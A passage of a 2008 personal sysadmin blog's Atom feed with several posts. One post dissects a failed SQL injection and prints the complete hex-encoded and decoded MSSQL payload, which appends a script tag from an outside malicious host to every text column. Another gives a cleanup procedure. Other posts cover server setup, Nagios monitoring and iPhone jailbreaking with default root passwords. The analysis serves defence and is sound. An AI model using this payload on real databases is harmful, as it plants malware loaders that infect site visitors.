href='http://www.blogger.com/feeds/18224401/posts/default/3086254823394668061'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2008/08/tech-i-touch-2.html' title='Tech I Touch #2'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-1134666101574358537</id><published>2008-08-06T12:50:00.006Z</published><updated>2009-04-02T08:22:29.829Z</updated><title type='text'></title><content type='html'>The following is a basic dissection of a failed SQL injection attempt&lt;br /&gt;&lt;br /&gt;it starts with the following being passed in the URL against another URL Parameter (this has had line breaks added to prevent the formatting from being screwed up)&lt;br /&gt;&lt;pre&gt;&lt;code&gt;&lt;br /&gt;'DECLARE @S CHAR(4000)SET @S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6A6A6D616F627564756F2E333332322E6F72672F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6A6A6D616F627564756F2E333332322E6F72672F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 AS CHAR(4000))EXEC(@S)&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;this is the string hexadecimal decoded so that humans can read is as SQL speaks hexadecimal natively&lt;br /&gt;&lt;pre&gt;&lt;code&gt;&lt;br /&gt;DECLARE @T varchar(255)'@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name'b.name from sysobjects a'syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T'@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=['+@C+']+''"&amp;gt;&amp;lt;/title&amp;gt;&amp;lt;script src="http://jjmaobuduo.3322.org/csrss/w.js"&amp;lt;&amp;gt;/script&amp;lt;&amp;gt;!--'' where '+@C+' not like ''%"&amp;gt;&amp;lt;/title&amp;gt;&amp;lt;script src="http://jjmaobuduo.3322.org/csrss/w.js"&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;!--''')FETCH NEXT FROM Table_Cursor INTO @T'@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor &lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The following are the translated xtypes so we can see what type of fields it is trying to insert into&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;|XTYPE | Field Type|&lt;br /&gt;&lt;br /&gt;|------------------|&lt;br /&gt;&lt;br /&gt;|99    | ntext     |&lt;br /&gt;&lt;br /&gt;|35    | text      |&lt;br /&gt;&lt;br /&gt;|231   | nvarchar  |&lt;br /&gt;&lt;br /&gt;|167   | varchar   |&lt;br /&gt;&lt;br /&gt;-------------------|&lt;/pre&gt;&lt;br /&gt;it then proceeds to iterate through all the tables and rows in each, appending the string&lt;br /&gt;&lt;pre&gt;&lt;code&gt;&amp;lt;/title&amp;gt;&amp;lt;script src="http://jjmaobuduo.3322.org/csrss/w.js"&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;!-- &lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;except where it has already found it, so the potential is there for multiple attacks but from the script having the opening HTML tags, only the initial successful attack would actually work.&lt;br /&gt;&lt;br /&gt;This attack in particular redirects users to a malicious page that will attempt to get them to download a trojan type virus which is most likely a remote exploit that would allow remote control of their machine to be used in a botnet for any number of purchases, or simply a sniffer for "useful" information like credit cards and banking details.&lt;br /&gt;This is probably not as bad from an administrative standpoint as a DROP * query being injected, but it is in my opinion a bit more sinister.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-1134666101574358537?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/1134666101574358537/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=1134666101574358537' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/1134666101574358537'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/1134666101574358537'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2008/08/following-is-basic-dissection-of-failed_06.html' title=''/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-4996636195101390015</id><published>2008-08-05T11:39:00.002Z</published><updated>2008-08-05T11:52:31.806Z</updated><title type='text'>Installing Windows 2003 64 bit on Sun X4150</title><content type='html'>Having received a shiny new Sun x4150 to be used as an exchange server, I came across a few interesting details about it.&lt;br /&gt;&lt;br /&gt;1. It comes in lots and lots of boxes and must be assembled.&lt;br /&gt;2. It's nice and easy to work in as its so tidy and well organised.&lt;br /&gt;3. It doesn't come with a CD/DVD Drive by default so pull out your USB drives or just order one from the factory.&lt;br /&gt;&lt;br /&gt;As it doesn't have a floppy drive it's a bit problematic installing the drivers for the LSI Logic RAID Card, I had to remaster the windows 2003 64bit CD in order to slipstream the drivers onto it for textmode setup.&lt;br /&gt;&lt;br /&gt;Firstly download nLite, its a great tool for doing unattended installations as well as integrating stuff into a new windows install CD&lt;br /&gt;&lt;br /&gt;Tell it to rip the windows install from the CD Drive or do it yourself and tell it where the folders are.&lt;br /&gt;&lt;br /&gt;On the next screen, pick the drivers button and the bootable ISO option. You can have a play about with the rest but its up to yourself.&lt;br /&gt;&lt;br /&gt;Change out your Windows CD for the "SunFire Tools and Drivers CD" that came with your server or download it from sun.com.&lt;br /&gt;&lt;br /&gt;On the drivers screen, tell it to import the Multiple Driver select, then pick the cd:/drivers/windows directory (or similar). Then select the drivers that have 64 bit in them, but don't bother with the drivers with RIS in their path.&lt;br /&gt;&lt;br /&gt;Hit next and then on the last screen hit Make ISO.&lt;br /&gt;&lt;br /&gt;And thats you, burn it out and you are laughing&lt;br /&gt;&lt;br /&gt;Apparently there is a tool on the sun disk that does this (or similar) but I didn't have access to a Solaris or Red Hat box to do it.&lt;br /&gt;&lt;br /&gt;This worked for me but as always YMMV&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-4996636195101390015?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/4996636195101390015/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=4996636195101390015' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/4996636195101390015'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/4996636195101390015'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2008/08/installing-windows-2003-64-bit-on-sun.html' title='Installing Windows 2003 64 bit on Sun X4150'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-1874474216728969574</id><published>2008-07-24T09:33:00.002Z</published><updated>2008-07-24T09:35:53.001Z</updated><title type='text'>Recover from SQL Injection</title><content type='html'>This script creates a stored proc called SearchAndReplace, once this is created, call it like&lt;br /&gt;SearchAndReplace 'Stringto be searched for','' this will replace the search string with nothing.&lt;br /&gt;&lt;br /&gt;CREATE PROC SearchAndReplace&lt;br /&gt;(&lt;br /&gt; @SearchStr nvarchar(100),&lt;br /&gt; @ReplaceStr nvarchar(100)&lt;br /&gt;)&lt;br /&gt;AS&lt;br /&gt;BEGIN&lt;br /&gt; &lt;br /&gt; -- Copyright © 2002 Narayana Vyas Kondreddi. All rights reserved.&lt;br /&gt; -- Purpose: To search all columns of all tables for a given search string and replace it with another string&lt;br /&gt; -- Written by: Narayana Vyas Kondreddi&lt;br /&gt; -- Site: http://vyaskn.tripod.com&lt;br /&gt; -- Tested on: SQL Server 7.0 and SQL Server 2000&lt;br /&gt; -- Date modified: 2nd November 2002 13:50 GMT&lt;br /&gt; &lt;br /&gt; SET NOCOUNT ON&lt;br /&gt; &lt;br /&gt; DECLARE @TableName nvarchar(256), @ColumnName nvarchar(128), @SearchStr2 nvarchar(110), @SQL nvarchar(4000), @RCTR int&lt;br /&gt; SET  @TableName = ''&lt;br /&gt; SET @SearchStr2 = QUOTENAME('%' + @SearchStr + '%','''')&lt;br /&gt; SET @RCTR = 0&lt;br /&gt; &lt;br /&gt; WHILE @TableName IS NOT NULL&lt;br /&gt; BEGIN&lt;br /&gt;  SET @ColumnName = ''&lt;br /&gt;  SET @TableName = &lt;br /&gt;  (&lt;br /&gt;   SELECT MIN(QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME))&lt;br /&gt;   FROM  INFORMATION_SCHEMA.TABLES&lt;br /&gt;   WHERE   TABLE_TYPE = 'BASE TABLE'&lt;br /&gt;    AND QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME) &gt; @TableName&lt;br /&gt;    AND OBJECTPROPERTY(&lt;br /&gt;      OBJECT_ID(&lt;br /&gt;       QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME)&lt;br /&gt;        ), 'IsMSShipped'&lt;br /&gt;             ) = 0&lt;br /&gt;  )&lt;br /&gt; &lt;br /&gt;  WHILE (@TableName IS NOT NULL) AND (@ColumnName IS NOT NULL)&lt;br /&gt;  BEGIN&lt;br /&gt;   SET @ColumnName =&lt;br /&gt;   (&lt;br /&gt;    SELECT MIN(QUOTENAME(COLUMN_NAME))&lt;br /&gt;    FROM  INFORMATION_SCHEMA.COLUMNS&lt;br /&gt;    WHERE   TABLE_SCHEMA = PARSENAME(@TableName, 2)&lt;br /&gt;     AND TABLE_NAME = PARSENAME(@TableName, 1)&lt;br /&gt;     AND DATA_TYPE IN ('char', 'varchar', 'nchar', 'nvarchar')&lt;br /&gt;     AND QUOTENAME(COLUMN_NAME) &gt; @ColumnName&lt;br /&gt;   )&lt;br /&gt; &lt;br /&gt;   IF @ColumnName IS NOT NULL&lt;br /&gt;   BEGIN&lt;br /&gt;    SET @SQL= 'UPDATE ' + @TableName + &lt;br /&gt;      ' SET ' + @ColumnName &lt;br /&gt;      + ' =  REPLACE(' + @ColumnName + ', ' &lt;br /&gt;      + QUOTENAME(@SearchStr, '''') + ', ' + QUOTENAME(@ReplaceStr, '''') + &lt;br /&gt;      ') WHERE ' + @ColumnName + ' LIKE ' + @SearchStr2&lt;br /&gt;    EXEC (@SQL)&lt;br /&gt;    SET @RCTR = @RCTR + @@ROWCOUNT&lt;br /&gt;   END&lt;br /&gt;  END &lt;br /&gt; END&lt;br /&gt; &lt;br /&gt; SELECT 'Replaced ' + CAST(@RCTR AS varchar) + ' occurence(s)' AS 'Outcome'&lt;br /&gt;END&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-1874474216728969574?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/1874474216728969574/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=1874474216728969574' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/1874474216728969574'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/1874474216728969574'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2008/07/recover-from-sql-injection.html' title='Recover from SQL Injection'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-7563914031810966266</id><published>2008-06-23T11:48:00.002Z</published><updated>2008-06-23T11:55:55.775Z</updated><title type='text'>Public Speaking</title><content type='html'>This weekend just past, I gave a presentation to about 20 odd people on the joys of Nagios, the open source server and network monitor. &lt;br /&gt;&lt;br /&gt;This is probably the first bit of proper public speaking that I have done in a very long time.&lt;br /&gt;&lt;br /&gt;Before I actually gave the presentation, I was so nervous, looking round, catching glimpses of other peoples presentations, vision based tracking, rapid web service development in rails. &lt;br /&gt;&lt;br /&gt;I just thought, wow these people are really serious about this, should I even be here?&lt;br /&gt;&lt;br /&gt;The answer was, hell yeah, the people in the room (including the authors of the two topics ^^^) obviously wanted to hear something about it otherwise they would be out getting coffee or something similar.&lt;br /&gt;&lt;br /&gt;So a scary experience turned out to be really worthwhile and a great way to meet new people, BarCamp '09 here I come (just need to figure out a topic!)&lt;br /&gt;&lt;br /&gt;PS once I started speaking I was fine, the most of the nerves left me, except of course when my remote started to misbehave....&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-7563914031810966266?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/7563914031810966266/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=7563914031810966266' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/7563914031810966266'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/7563914031810966266'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2008/06/public-speaking.html' title='Public Speaking'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-2158614421113874632</id><published>2008-06-10T07:49:00.002Z</published><updated>2008-06-10T08:04:46.561Z</updated><title type='text'>Tech I Touch #1</title><content type='html'>This is a new series of blog entries about interesting tech (to me anyway) that I come across in my day-to-day life. &lt;br /&gt;&lt;br /&gt;They will probably be sporadic entries as most of the tech that I come across, I've either used it already or it doesn't interest or intrigue me.&lt;br /&gt;&lt;br /&gt;This one will be about the Dyson hand dryer. Please bear with me on this, I know this sounds like a deathly boring object but I found it interesting as it was a novel twist on existing technology that, to be quite honest, only did a passable job, usually resorting to rubbing hands on your trousers. Or trying to find not quite environmentally friendly paper towels.&lt;br /&gt;&lt;br /&gt;They dyson machine is quite different, rather than a straight down heated airflow, it has a semi-enclosed area that you put your hands into and then draw them out slowly.&lt;br /&gt;A high pressure stream of cold air pushes the water off your hands from the base of your palm up to your fingertips, 1 pass, maybe 2 is all that it took for soaking wet hands to be bone dry.&lt;br /&gt;&lt;br /&gt;Here's a linky &lt;a href="http://www.dysonairblade.co.uk/"&gt;Dyson AirBlade&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;What I found interesting was that it used cold air rather than the usual heated airstream. This in itself has to be more environmentally friendly and safer as there is no wasteful heating element.&lt;br /&gt;&lt;br /&gt;There are more details at the link above, including a cost-saving calculator.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-2158614421113874632?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/2158614421113874632/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=2158614421113874632' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/2158614421113874632'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/2158614421113874632'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2008/06/tech-i-touch-1.html' title='Tech I Touch #1'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-4543522018623481098</id><published>2008-06-09T14:31:00.004Z</published><updated>2008-06-09T16:11:19.980Z</updated><title type='text'>Monitor Dell Servers Running Windows Server Using Nagios and SNMP</title><content type='html'>Things I use in this entry:&lt;br /&gt;&lt;br /&gt;Nagios 2.9&lt;br /&gt;perl:net-snmp&lt;br /&gt;Dell OpenManage Server Administrator&lt;br /&gt;Nagios plugin check_omsa_snmp.pl&lt;br /&gt;Windows Server 2003&lt;br /&gt;&lt;br /&gt;At present, the servers that I am responsible for are monitored from a 30,000' view, its getting progressively closer to the ground and services or more precisely groups of services are being monitored. For instance, there are several services that our exchange server depends on but I don't want to and don't think it is necessary to report on each one directly, a better approach IMO is to use nc_net on each windows server to be monitored then have one service to view these as a single point of failure.&lt;br /&gt;&lt;br /&gt;I had been asked to look at monitoring the physical hardware of each server and the only real way to do this would be using SNMP and the Dell OpenManage Server Administrator tools.&lt;br /&gt;&lt;br /&gt;Installation Instructions&lt;br /&gt;&lt;br /&gt;1. Windows Server has SNMP available as an additional built-in component, it can be installed using Add/Remove Windows Components under Management and Monitoring tools. &lt;br /&gt;Feel free to install all of these as most of them are useful but for our purposes, only the installation of the Simple Network Management Protocol component is required.&lt;br /&gt;&lt;br /&gt;2. Install the Dell OpenManage Server Administrator software found &lt;a href="http://support.dell.com/support/downloads/download.aspx?c=us&amp;l=en&amp;s=gen&amp;releaseid=R183698&amp;SystemID=PWE_1800&amp;servicetag=&amp;os=WNET&amp;osl=en&amp;deviceid=2331&amp;devlib=0&amp;typecnt=0&amp;vercnt=10&amp;catid=-1&amp;impid=-1&amp;formatcnt=2&amp;libid=36&amp;fileid=251117"&gt;here&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;3. Open up services.msc and get the properties for the SNMP agent, click on the security tab, then untick the send authentication trap. &lt;br /&gt;In the upper section, click on add an SNMP community (as read-only), remember this name as you will need it later.&lt;br /&gt;In the lower section add the address of your Nagios as one of the accepted hosts. Make sure to leave in localhost, or if you aren't paranoid (AND WHY NOT????) you can tick the box saying accept from any host.&lt;br /&gt;&lt;br /&gt;4. Go to &lt;a href="http://www.nagiosexchange.org/cgi-bin/page.cgi?g=Detailed%2F2268.html;d=1"&gt;Nagios Exchange&lt;/a&gt; and download check_omsa_snmp.pl to your Nagios server into /usr/local/nagios/libexec (default config assumed)&lt;br /&gt;&lt;br /&gt;5. chmod +x that file and test your connection to the SNMP enabled server using snmpwalk -v 2c -c COMMUNITYNAME HOSTNAME .1.3.6.1.4.1.674.10892.1.700.20.1.8.1&lt;br /&gt;It should return SNMPv2-SMI::enterprises.674.10892.1.700.20.1.8.1.1 = STRING: "CPU Planar"&lt;br /&gt;SNMPv2-SMI::enterprises.674.10892.1.700.20.1.8.1.2 = STRING: "Ambient"&lt;br /&gt;SNMPv2-SMI::enterprises.674.10892.1.700.20.1.8.1.3 = STRING: "BP Bottom Temp"&lt;br /&gt;&lt;br /&gt;If that is successful, run this command&lt;br /&gt;./check_omsa_snmp.pl -H HOSTNAME -C COMMUNITYNAME&lt;br /&gt;and this will return any critical errors on your server, for example&lt;br /&gt;Power Supply 2 is critical&lt;br /&gt;&lt;br /&gt;You can then set this up as a service command where you can have the SNMP community set already.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-4543522018623481098?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/4543522018623481098/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=4543522018623481098' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/4543522018623481098'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/4543522018623481098'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2008/06/monitor-dell-servers-running-windows.html' title='Monitor Dell Servers Running Windows Server Using Nagios and SNMP'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-1903887767788155112</id><published>2008-05-29T15:17:00.002Z</published><updated>2009-04-02T08:24:08.945Z</updated><title type='text'>Restart Services as Non-admin User Windows Vista</title><content type='html'>run&lt;br /&gt;&lt;pre&gt;&lt;code&gt;Sc sdset servicename "D:AR(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;LCRPWP;;;AU)(A;;CCLCSWLOCRRC;;;IU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;where servicename is the servicename that you want non-admins to be able to operate&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-1903887767788155112?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/1903887767788155112/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=1903887767788155112' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/1903887767788155112'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/1903887767788155112'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2008/05/restart-services-as-non-admin-user.html' title='Restart Services as Non-admin User Windows Vista'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-143374838199083860</id><published>2007-12-19T16:06:00.000Z</published><updated>2007-12-19T16:19:47.093Z</updated><title type='text'>Jailbreak O2 iPhone</title><content type='html'>Steps for jailbreaking an O2 iPhone&lt;br /&gt;(This is for those who have a legitimate activated O2 iPhone)&lt;br /&gt;1. Connect your iPhone via USB &lt;br /&gt;2. Press the home and wake/sleep buttons and hold them until the iPhone resets and the screen goes black, then release the wake/sleep button. &lt;br /&gt;3. When iTunes pops up the message "ITunes has detected an iPhone in recovery mode" release the home button.&lt;br /&gt;4. &lt;a href="http://appldnld.apple.com.edgesuite.net/content.info.apple.com/iPhone/061-3883.20070927.In76t/iPhone1,1_1.1.1_3A109a_Restore.ipsw"&gt;1.1.1 Firmware&lt;/a&gt;&lt;br /&gt;&lt;a href="http://conceitedsoftware.com/iphone/site/112jb.html"&gt;Jailbreak&lt;/a&gt;&lt;br /&gt;Download both of these, if you are on a mac, don't use safari to download the firmware as it will extract it and you don't want that.&lt;br /&gt;5. After these files have downloaded, hold Option+Alt and click on restore in iTunes, Select the 1.1.1 Firmware ISPW file. It will install and error out at the end with a 1015 error. This is the expected outcome.&lt;br /&gt;6. Kick the iPhone out of this mode by running jailbreak.jar and clicking Boot From Recovery (don't enable any other options)&lt;br /&gt;7. Open safari on the iPhone and go to &lt;a href="http://jailbreakme.com"&gt;http://jailbreakme.com&lt;/a&gt; scroll down and run Install AppSnapp, safari will exit and download/install AppSnapp, unlock the iPhone and its jailbroken.&lt;br /&gt;8. Launch Installer on iPhone and scroll down to Tweaks (1.1.1) in the install tab. Select OkToPrep and install&lt;br /&gt;9. Click Check For Update in iTunes and it will download and install the 1.1.2 update&lt;br /&gt;10. Quit iTunes, run jailbreak.jar and select jailbreak (and install SSH as well)&lt;br /&gt;&lt;br /&gt;Enabling EDGE on O2 again&lt;br /&gt;ssh root@ip_address_of_my_iphone&lt;br /&gt;use either the password alpine or dottie or the password that you set on jailbreak (each line is one command, so 3 in total)&lt;br /&gt;&lt;br /&gt;rm /var/root/Library/Preferences/com.apple.carrier.plist&lt;br /&gt;&lt;br /&gt;ln -s /System/Library/Frameworks/CoreTelephony.framework/Support/O2_UK.plist /var/root/Library/Preferences/com.apple.carrier.plist&lt;br /&gt;&lt;br /&gt;rm -f /var/root/Library/Preferences/SystemConfiguration/preferences.plist&lt;br /&gt;&lt;br /&gt;Reboot the iPhone by switching off (hold the wake/sleep button and slide to power off) then starting it again.&lt;br /&gt;&lt;br /&gt;Job Done!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-143374838199083860?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/143374838199083860/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=143374838199083860' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/143374838199083860'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/143374838199083860'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2007/12/jailbreak-o2-iphone.html' title='Jailbreak O2 iPhone'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-5659943311831602923</id><published>2007-07-17T11:14:00.001Z</published><updated>2007-07-17T11:15:57.799Z</updated><title type='text'>Synergy Fix in Kubuntu</title><content type='html'>Synergy has a problem with displaying the @ symbol on a synergyc session, this is the necessary command to fix this (symptom is displaying OHM symbol instead of '@')&lt;br /&gt;This needs done after every X restart.&lt;br /&gt;&lt;br /&gt;  echo keycode 24 = q Q at at at at | xmodmap -&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-5659943311831602923?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/5659943311831602923/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=5659943311831602923' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/5659943311831602923'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/5659943311831602923'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2007/07/synergy-fix-in-kubuntu.html' title='Synergy Fix in 